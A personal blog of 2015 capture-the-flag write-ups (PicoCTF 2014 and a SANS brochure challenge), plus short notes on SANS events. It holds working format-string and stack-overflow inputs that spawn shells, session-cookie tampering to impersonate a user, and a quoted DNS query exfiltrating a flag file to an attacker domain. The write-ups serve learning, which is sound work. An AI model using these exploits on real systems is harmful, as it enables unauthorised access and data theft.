Wednesday, June 24, 2015

Picoctf 2014 Repeating XOR

I wasn't exactly sure how to approach this one, given that I don't have a lot of experience with XORing.  I think that I understand the basic idea of it.  Hex Plain Text XOR Hex Key = Hex Encoded Data.  If you know hex plain text, and you have the hex encoded version of that same hex plain text, then you should theoretically get the hex key of that data by XORing the hex plaintext with the hex encoded data of that same plaintext.  Then you can use that key to break the rest of this encoding.  This is kind of what Alan Turing did to break the enigma cipher.  He used plain text and the encrypted text of that plain text to find the key.  

I was reading about Hamming Distance.  From what I understand, the key length can be guessed fairly accurately by comparing each hex pair.  If the hex pairs are of similar Hamming Distances, then they are most likely encoded with the same hex pair.  So, if they were 10 characters apart, then the key length is 10.  I need to do further reading about this and experiment with it to see if I can better understand it.

After searching Google for a while, I stumbled upon a tool called "XorTool" on GitHub.  I'm using VM's, so I downloaded, scanned, and installed it.  Then I set about learning how to use it.  I was given the hint that the key length may be 10.  I was also told that the plaintext was a "history of cryptography", so I had a good idea of what I was looking for.  I let the tool do the work for me.  I just typed, xortool -x -l 10 encrypted.  -x told the program that the file was hex encoded, -l told the program that I was guessing a key length of 10, and encrypted was the name of the encrypted file.  It guessed that the most likely length was 10.  So then I ran the following command and got the following output.

$ xortool -x -o encrypted
The most probable key lengths:
   2:   9.7%
   5:   14.5%
   8:   7.2%
  10:   20.7%
  12:   6.0%
  15:   8.9%
  20:   12.8%
  25:   5.7%
  30:   8.5%
  40:   6.1%
Key-length can be 5*n
100 possible key(s) of length 10:
\x94\xd6\xb1\xc2\xbc\t\x05\xd6\x1c6
\x95\xd7\xb0\xc3\xbd\x08\x04\xd7\x1d7
\x96\xd4\xb3\xc0\xbe\x0b\x07\xd4\x1e4
\x97\xd5\xb2\xc1\xbf\n\x06\xd5\x1f5
\x90\xd2\xb5\xc6\xb8\r\x01\xd2\x182
...
Found 51 plaintexts with 95.0%+ printable characters
See files filename-key.csv, filename-char_used-perc_printable.csv

After this, I read filename-char_used-perc_printable.csv.  This gave me a decent idea of which keys were correct, because it told me the percentage of the characters in each potential key that were printable.  Xortool saves possible plain text files as out files.  I navigated to the folder that contains these out files.  I just used cat <numberIwasinterestedin>.out in my terminal, and it printed out the out file.  I only printed the texts with 100 percent printable characters.  There were only 7, so it made finding the correct decrypted file really easy.

$cat 94.out
your flag is: ab2614e35e828a602c50ebc9b0f5d710e2312388

On 17 March 1975, the proposed DES was published in the Federal Register. Public comments were requested, and in the following year two open workshops were held to discuss the proposed standard. There was some criticism from various parties, including from public-key cryptography pioneers Martin Hellman and Whitfield Diffie, citing a shortened key length and the mysterious "S-boxes" as evidence of improper interference from the NSA. The suspicion was that the algorithm had been covertly weakened by the intelligence agency so that they - but no-one else - could easily read encrypted messages. Alan Konheim (one of the designers of DES) commented, "We sent the S-boxes off to Washington. They came back and were all different." The United States Senate Select Committee on Intelligence reviewed the NSA's actions to determine whether there had been any improper involvement. In the unclassified summary of their findings, published in 1978, the Committee wrote:

    In the development of DES, NSA convinced IBM that a reduced key size was sufficient; indirectly assisted in the development of the S-box structures; and certified that the final DES algorithm was, to the best of their knowledge, free from any statistical or mathematical weakness.

However, it also found that

    NSA did not tamper with the design of the algorithm in any way. IBM invented and designed the algorithm, made all pertinent decisions regarding it, and concurred that the agreed upon key size was more than adequate for all commercial applications for which the DES was intended.

Another member of the DES team, Walter Tuchman, stated "We developed the DES algorithm entirely within IBM using IBMers. The NSA did not dictate a single wire!" In contrast, a declassified NSA book on cryptologic history states:

    In 1973 NBS solicited private industry for a data encryption standard (DES). The first offerings were disappointing, so NSA began working on its own algorithm. Then Howard Rosenblum, deputy director for research and engineering, discovered that Walter Tuchman of IBM was working on a modification to Lucifer for general use. NSA gave Tuchman a clearance and brought him in to work jointly with the Agency on his Lucifer modification."

and

    NSA worked closely with IBM to strengthen the algorithm against all except brute force attacks and to strengthen substitution tables, called S-boxes. Conversely, NSA tried to convince IBM to reduce the length of the key from 64 to 48 bits. Ultimately they compromised on a 56-bit key.

Some of the suspicions about hidden weaknesses in the S-boxes were allayed in 1990, with the independent discovery and open publication by Eli Biham and Adi Shamir of differential cryptanalysis, a general method for breaking block ciphers. The S-boxes of DES were much more resistant to the attack than if they had been chosen at random, strongly suggesting that IBM knew about the technique in the 1970s. This was indeed the case; in 1994, Don Coppersmith published some of the original design criteria for the S-boxes. According to Steven Levy, IBM Watson researchers discovered differential cryptanalytic attacks in 1974 and were asked by the NSA to keep the technique secret. Coppersmith explains IBM's secrecy decision by saying, "that was because [differential cryptanalysis] can be a very powerful tool, used against many schemes, and there was concern that such information in the public domain could adversely affect national security." Levy quotes Walter Tuchman: "[t]hey asked us to stamp all our documents confidential... We actually put a number on each one and locked them up in safes, because they were considered U.S. government classified. They said do it. So I did it". Bruce Schneier observed that "It took the academic community two decades to figure out that the NSA 'tweaks' actually improved the security of DES."

Picoctf 2014 Guess

On this problem, I had to guess a random 32 bit integer.  I had 2^32 chance of getting it right, making it very unlikely that I would actually be able to guess the number.
I studied the source program, which was written in C, and noticed that the "fgets(name, sizeof(name), stdin);" part of it was exploitable by a format string vulnerability.  I noticed that the variable that I
wanted, f, was the fourth integer on the stack.  So, when the program asked my name, I typed in %d.%d.%d.%d, and it printed four numbers that were separated by periods so that I could read them more easily.  When it asked me to type in my guess,
I typed in the fourth number that had printed out, and got the flag:  leak_the_seakret.

#include <stdio.h>
#include <stdlib.h>

char *flag = "~~FLAG~~";

void main(){
    int secret, guess;
    char name[32];
    long seed;

    FILE *f = fopen("/dev/urandom", "rb");
    fread(&secret, sizeof(int), 1, f);
    fclose(f);

    printf("Hello! What is your name?\n");
    fgets(name, sizeof(name), stdin);

    printf("Welcome to the guessing game, ");
    printf(name);
    printf("\nI generated a random 32-bit number.\nYou have a 1 in 2^32 chance of guessing it. Good luck.\n");

    printf("What is your guess?\n");
    scanf("%d", &guess);

    if(guess == secret){
        printf("Wow! You guessed it!\n");
        printf("Your flag is: %s\n", flag);
    }else{
        printf("Hah! I knew you wouldn't get it.\n");
    }
}

$ nc vuln2014.picoctf.com 4546
\Hello! What is your name?
%d.%d.%d.%d
Welcome to the guessing game, \32.-143668192.162005000.-857849444

I generated a random 32-bit number.
You have a 1 in 2^32 chance of guessing it. Good luck.
What is your guess?
-857849444
Wow! You guessed it!
Your flag is: leak_the_seakret

Monday, June 22, 2015

Picoctf 2014 Format String

I just completed the format string problem.  I took a semester of C a long time ago, but I remembered enough to know what was going on in the program that I was given to exploit.  I used gdb -q ./format, then p &secret to find the location of the variable of secret in memory.  Then I ran the program:

./format $(python -c 'print "%x.%x.%x"').

%x prints addresses in the stack.  I put a dot between them so that I could see where each ended. I kept adding a %x. until I found the address that I needed.  I found out that the 7th address was the address that I needed.  It was 0x0804a030.  The hint said that %n would be useful.  I tried it, but I just couldn't get it to work correctly.  Then I found some nice articles that helped to explain format string vulnerabilities fairly well.  They were:  http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html, and https://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf.  So then I ran the program with ./format $(python -c 'print "%1337x%7$n"').  The %1337x pads an unsigned hexidecimal integer with 1337 spaces.  The %7$n specifies that I want the 7th address location, and n means that I want to write the number of bytes written so far to that place in memory.  I got shell.  Then I typed "cat flag.txt" and got the flag which was who_thought_%n_was_a_good_idea?

Wednesday, June 17, 2015

SANS@Night

My spouse was kind enough to request that I get a badge so that I could attend some SANS@night presentations.  I've only been to two, because there are many of them that my spouse would like to attend, and someone has to watch the kids.

The first one that I attended was a SANS WIT presentation.  Their hash tag is #SANS_WIT.  It was a networking event for women to meet other women in technology, and to learn about SANS programs that may help women.  I can't discuss specifically what was in the presentation, but suffice it to say, if you are a woman, interested in the IT field, you may want to attend one of these presentations.  I felt awkward.  I'm a stay at home mom listening to ladies say, "I'm the Chief Security Officer at ...". They asked what I did.  I feel like I probably sounded like a country bumpkin.  "I'm just a stay at home mom who has done a couple consulting/contract jobs from home, and I do pen-testing/digital forensics challenges for fun."  I told them that I was invited to an invite only cyber camp in my state.  It didn't help that I had recently lost some weight, so I was wearing pants and a shirt that was hanging off of me.  Those were my issues, though, not the other ladies.  They seemed like nice people.

The second one was Securing Your Kids.  Most of the information was common sense practices that most people would do, but there were some insightful ideas given by other parents, so it may be worth attending.  I was tempted to skip this one and attend more technical presentations.

Tuesday, June 16, 2015

Cyber Quest

I can't give the answers to Cyber Quest.  They may reuse the questions.  I did do Cyber Quest, though.  http://uscc.cyberquests.org. This year's challenge focused on secure programming practices in some popular programming languages.  I did well enough that I have been invited to a invite only cyber camp in my state.  I'm looking forward to it, but I'm slightly nervous.  It will be in an area that I'm not really familiar with.  I'm doing research about how to get around, and about the crime in the area.  I wish that I knew more people so that I could hitch a ride with someone and let them figure out the details.  I'm also nervous about how little I know compared to others.  My spouse, who is attending SANS Fire, quoted John Strand to try and convince me that things should be okay.  John Strand says that there will always be someone smarter than you are, but you shouldn't let that deter you from trying.

Tuesday, April 21, 2015

2015 Orlando Brochure Challenge Solution

SANS 2015 Orlando Brochure Challenge Solution

I had to wait until the deadline passed in order to submit my write up of this challenge.  The last entry date to be eligible for a prize was 4/20/2015.

The first part of the challenge was simple.  It was three numbers separated by commas.  For example, 6,1,2.  These numbers corresponded to the page, paragraph, and word, respectively.  The answer was:  The password to the next part is pyWars.  Be be to “play fair”.  The flag for this part was pyWars.

“Play fair” was the hint to the next challenge.  I had never heard of a “Playfair” cipher until I used Google to find out what kind of cipher that the next part of the challenge could be.  I decoded the cipher using an online tool, called the Braingle Playfair Decoder, that omitted q’s, and deciphered the Playfair cipher for me.  The key was pyWars, which was given in the first part of the challenge.  I noticed that I had to remove the x’s.  Once deciphered, it was http://wwxw.sans.org/event/sans-twothousandandfifteen/brochure-challenge-nineninefivecazeroethreedefourninecczeroedthrexefivebfiveeightdfiveeninedax, or http://www.sans.org/event/sans-2015/brochure-challenge-995ca0e3de49cc0ed35b58d5e9da  The flag for this part was SeeYouInOrlando2015.

The last part was a little more challenging.  I had to analyze a pcap and extract a flag from it.  The hint was given that the creator was suspicious that powercat.ps1 was used to extract the flag from the computer that the creator of the challenge was using.  Looking at the pcap, I noted that it was all DNS traffic and that the query types were TXT.  I’m not familiar with powercat, so I look up the documentation about it.  Then for good measure, I look up TXT queries to see what they are.  I noted that the response answers were text, so I tried in vain to decode them with a hex to text decoder from http://www.asciitohex.com.  Then I realized that I was looking at the wrong part.  I needed to know what the attacker was asking.  So, I tried to decode the hex of the queries into ascii format.  That didn't work.  I noted that Wireshark had "TXT String" under the type of DNS query, so I found a hex to string decoder, on http://www.string-functions.com, and sure enough, the first record that I looked at said, “cmd.exe”  It wasn’t long before I found a record, packet 103, that had this query:

6a040137d56005e844747970652062726f63687572655f666c61672e7478.740a464c41473d42726f63687572655377616e4d69636b65790d0a433a5c.62726f63687572653e.c2.xattackers-domain.com

It decoded to “type brochure_flag.tx?”.  Then it showed a jumble of weird characters.  Obviously, there was some reason that I wasn’t getting the correct flag after that command.  I took the hex on that query apart, cutting out the part where the flag should be typed.  I suspected that I could use the periods in the query as a delimiter.  So, I took out the middle part of the query:

740a464c41473d42726f63687572655377616e4d69636b65790d0a433a5c

I used the converter on this part alone, and I got the last flag which was BrochureSwanMickey.

Sunday, March 22, 2015

More PicoCTF 2014 Solutions-Next 12

I haven't been working on this that much. I wasn't eligible for the rewards, but I started it because I saw it as a good opportunity to learn. I am eligible for other challenge rewards though, so those have been at the top of my priority list lately. I'm currently doing Cyber Aces, and later this month, I plan to try the US Cyber Challenge. I've had a little time lately, so here are more Picoctf 2014 solutions.

Javascrypt
I looked at the website with Mozilla Firefox, and right-clicked, and clicked on View Source. I read through it until I found a piece of javascript that appeared to generate the key. I copy and pasted it into a javascript editor that I had found via Google and added html code so that I could make it calculate and display the key for me in a nice manner. Here is my code:
<!DOCTYPE html>
<html>
<body>
<p>What is the key?</p>
<p_id="demo"></p>
<script>
function generateKey() {
var i =1;
var x = 208;
var n = 5493;
while (i <= 25) {
x = (x *i) % n;
i++;
}
key = "flag_" + Math.abs(x);
}
generateKey();
document.getElementById("demo").innerHTML = key;
</script>
</body>
</html>
My flag was flag_1596.

Easy Overflow
In Java, the max value of a 32 bit signed integer is 2,147,483,647. In order to cause an overflow, all I had to do was to add the max number to the number that I was given. (I'm not exactly sure how that caused the number to become negative, because I haven't studied memory registers in great depth. I plan to do that soon.) I understand the idea of an overflow, in other words, memory registers only hold so big of values, and when one register can't hold a value, because it's too big, the rest of that value overflows into another part of memory, hence the term "overflow". I don't understand exactly how that works. I just vaguely remembered in java that we had to assign values according to size, and that each type could only hold so much. That's the reason that I knew the max value for a java 32 bit signed integer. My number was 4706106. Adding the max value that a Java integer could hold caused the number to be -2142777543. The flag was That_was_easssy!

Write-Right
I used the Linux tool called GnuDebugger: gdb -q and then typed p &secret to get the memory address of secret . I just looked for the memory address of secret and took note of it. The address was 804a03c. Then I ran the program and answered the question, "Where would you like to write in memory?" with the address of secret, and answered the question, "What would you like to write there?" with 1337beef. Then I was given the flag. The flag was arbitrary_write_is_always_right

Overflow 1
This challenge had a nice interactive feature to help one understand how the machine places values into memory. The server happens to use Little Endian format, which means that it stores the least significant byte in the smallest address. My objective was to overwrite the value of secret to hexidecimal c0deface. I looked at how someone solved a similar problem in picoctf2013 to get an idea of how to solve this one, and utilized that knowledge to solve this problem. Most Linux systems have a python interpreter installed, so I just used python. ./overflow1 $(python -c 'print "A"*16 + "\xce\xfa\xde\xc0"'). I got a shell. Then I just typed ls, to list what in the directory, and used cat flag.txt to get the flag: ooh_so_critical. If I'd overshot that narrow point in memory, which is allowed to be written in, then I would've gotten a segmentation fault for trying to write to an area in memory that is read only. I recently read a nice article about it called, "Smashing the Stack for Fun and Profit" by Aleph One. I didn't understand all of it because I'm not familiar with assembly, but I highly recommend it to read. It's an interesting view into memory.

Redacted
I just copied the page using the press-and hold on the screen of my iPad, and pasted the page into my Notes app. It saved the page. The background was black, and the text was white. There were no more black boxes on the page in my Notes app, so I could read the entire page.

Toaster Control
I looked at the source code of the page. In the javascript, I found the handlers for the other buttons, so I knew how to query the db for the action that I needed, which was Shutdown & Turn Off. The handler had to be url encoded. I looked up those encodings on Google. So the full address was web2014.picoctf.com/toaster-control-1040194/handler.php?action=Shutdown%20%26%20Turn%20Off.

ZOR**Update**

Thanks to Anonymous' comment "dog crap", :D, I noticed that I forgot to add the new "solution" method to the terminal command and a couple of typos.  I added the original program and modified version to hopefully make the solution more clear.  Thanks!  If you all notice anymore typos/errors, let me know.  I'll be happy to fix them.  This blog is more like a journal.  I reference it if I have trouble remembering something; so I'd like it to be as accurate as possible.

The hint states that the key is turned into a one byte binary key, which means that there are only 255 possible values that the key could be. The 00000000 byte doesn't count. All I had to do was to modify the ZOR.py program and add a solution method. Then I had to add a call to that method in the main funtion. All that the solution method does is to use the xor method already present in the program to test every possible key from 00000000-11111111. (I know, I said that the 0 byte didn't count. It was just plain easier to figure out the syntax.) It took me a while to figure out the syntax because I'm not familiar with python. I just copied the syntax of the other methods, and it worked just fine. I did have previous experience with Java, so I could understand the idea of what the program was doing. The main annoyance was the indenting.  (If it doesn't work, play around with the indenting.  I copied the syntax of the methods around it.  Another item of note:  sometimes some text editors can cause issues with the python program working properly, so be careful with which ones you use.  For some reason, lately, I've also noticed that if you don't specify an encoding, python doesn't particularly care for that either.)

The solution method:

def solution(input_data):
    decrypted = ""
        for key in range (0,255):
            decrypted += xor(input_data, key)
            decrypted += " begin/end "
        return decrypted

I used the "decrypted += " begin/end " line so that I could tell where each separate attempt began and ended. I guess that I could've used a newline character, to make it easier to read.


The calling method: I added it right under the decrypt elif statement.

elif sys.argv[1] == "solution":
    result_data = solution(input_data)

I ran the program from the command line by typing, "python ZOR.py solution encrypted decrypedfile 25"
I added the 25 at the end to get past that annoying 5 char requirement at the beginning of the program. I could probably just remove that "if len (sys.argv) < 5: Usage()" line from the program, and not worry about that.
After running the file, I looked at the file by using "cat decryptedfile | less". When you print out the decrypted file, you'll see all sorts of junk because it is printing out every possible key value.  If you look through the junk, you'll eventually see this:

This message is for Daedalus Corporation only. Our blueprints for the Cyborg are protected with a password. That password is 85bcdc9f283353a3e0ca9c4cc1c0dc

Here is the original program:
#!/usr/bin/python

import sys

"""
Daedalus Corporation encryption script.
"""

def xor(input_data, key):
    result = ""
    for ch in input_data:
        result += chr(ord(ch) ^ key)

    return result

def encrypt(input_data, password):
    key = 0
    for ch in password:
        key ^= ((2 * ord(ch) + 3) & 0xff)

    return xor(input_data, key)

def decrypt(input_data, password):
    return encrypt(input_data, password)

def usage():
    print("Usage: %s [encrypt/decrypt] [in_file] [out_file] [password]" % sys.argv[0])
    exit()

def main():
    if len(sys.argv) < 5:
        usage()

    input_data = open(sys.argv[2], 'r').read()
    result_data = ""

    if sys.argv[1] == "encrypt":
        result_data = encrypt(input_data, sys.argv[4])
    elif sys.argv[1] == "decrypt":
        result_data = decrypt(input_data, sys.argv[4])
    else:
        usage()

    out_file = open(sys.argv[3], 'w')
    out_file.write(result_data)
    out_file.close()

main()

Here is the modified program:



#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys

"""
Daedalus Corporation encryption script.
"""

def xor(input_data, key):
    result = ""
    for ch in input_data:
        result += chr(ord(ch) ^ key)

    return result

def encrypt(input_data, password):
    key = 0
    for ch in password:
        key ^= ((2 * ord(ch) + 3) & 0xff)

    return xor(input_data, key)

def decrypt(input_data, password):
    return encrypt(input_data, password)


def solution(input_data):
    decrypted = ""
        for key in range (0, 255):
            decrypted += xor(input_data, key)
            decrypted += " begin/end "
        return decrypted

def usage():
    print("Usage: %s [encrypt/decrypt] [in_file] [out_file] [password]" % sys.argv[0])
    exit()

def main():
    if len(sys.argv) < 5:
        usage()

    input_data = open(sys.argv[2], 'r').read()
    result_data = ""

    if sys.argv[1] == "encrypt":
        result_data = encrypt(input_data, sys.argv[4])
    elif sys.argv[1] == "decrypt":
        result_data = decrypt(input_data, sys.argv[4])
    elif sys.argv[1] == "solution":
        result_data = solution(input_data)
    else:
        usage()

    out_file = open(sys.argv[3], 'w')
    out_file.write(result_data)
    out_file.close()

main()

Substitution
This one was easy. I found a nice website using google called cryptoclub.org. They have a nice Flash Substitution Decrypter. The hint in this challenge states to use frequency analysis to solve this puzzle. However, I decided to try to find the word authorization since I was fairly certain that that word was in the cipher, considering that I was looking for an authorization code. The only word that seemed long enough to be authorization was right at the beginning of the cipher, so I just replaced those encrypted letters with the decrypted letters for authorization. It turned out to be correct. Then I solved the words, "the", "code", and "is". After that, finding the substitutions for the other words weren't that difficult because there were recognizable words. The authorization code is "motherknowsbest". That was the flag for this challenge. The encrypted file ended up being a song from the movie Tangled, called "Mother Knows Best".
syhuwamrefcdvklbqxipjnzgto plaintext
abcdefghijklmnopqrstuvwxyz encrypted letters

Function Address
I used the Linux tool GnuDebbuger gdb -q. Then I just used p &find_string to find the find_string function, and took down the address of that function. The address was the flag for this challenge.

Basic ASM
I don't have any experience with assembly, however, the creators of picoctf had examples of some nice tutorials on the subject of AT&T assembly, so I was able to solve the problem by looking at the tutorials, and changing the assembly code to pseudo-code to help visualize the problem. I was supposed to find the value of %eax before the NOP in L3.
The original code was:
MOV $26693, %ebx
MOV $979, %eax
MOV $25717 %ecx
CMP %eax, %ebx
JL L1
JMP L2
L1:
IMUL %eax, %ebx
ADD %eax, %ebx
MOV %ebx, %eax
SUB %ecx, %eax
JMP L3
L2:
IMUL %eax, %ebx
SUB %eax, %ebx
MOV %ebx, %eax
ADD %ecx, %eax
JMP L3
L3:
NOP
My pseudocode. It helped to remember that the left side was the source, and the right side was the destination. Considering that in the assembly language, the value of %ebx is greater than the value of %eax, the L1 label computations were not done. So, the computations start in the L2 label.
ebx = 26693
eax = 997
ecx = 25717
If ebx < eax
goto L1
else
goto L2
L1:
ebx *= eax;
ebx += eax;
eax = ebx;
eax -= ecx;
goto L3:
L2:
ebx *= eax; //26693 *979, ebx = 26132447
ebx -= eax; //26132447- 979= 26131468, ebx = 26131468
eax = ebx; //eax = 26131468
eax += ecx; //26131468 + 25717, eax = 26157185
goto L3:
L3;
NOP
So the answer of "What is the value of %eax before the NOP operation?" is 26157185.

Spoof Proof
This one was really easy. I'm supposed to find the name of the person that doesn't belong in the network. I first looked at the ARP traffic for any ARP poisoning.  I used Wireshark to analyze the traffic. (You can sort by protocol by clicking on the "Protocol" column.)  Wireshark has a nice feature that tells when there are gratuitous ARP requests, (under Expert Information) and when it suspects that more than one machine is using the same IP Address. I found that the IP Address 192.168.50.4 had two MAC Addresses associated with it. I assumed that the MAC Address that was noted earlier in the traffic, before the potentially malicious activity, was the legitimate address, in other words, the address of the machine that is supposed to be on the network. I did a search for the other MAC Address and found that it was associated with the IP Address, 192.168.50.3, which is the IP Address of a user named John Johnson. John Johnson was spoofing an IP Address.

Delicious
In order to solve Delicious, I looked at the website. On the website, there was a session id. Websites use session cookies in order to keep track of sessions because http is a stateless protocol, in other words, it can't remember whether people had connected previously or not on its own. So, I installed an Add-On to my browser called Mozilla Firefox Cookie Editor. I changed the session_id of the cookie to 30. I was logged in as Dr. Florian Richards. The secret code was session_cookies_are_the_most_delicious.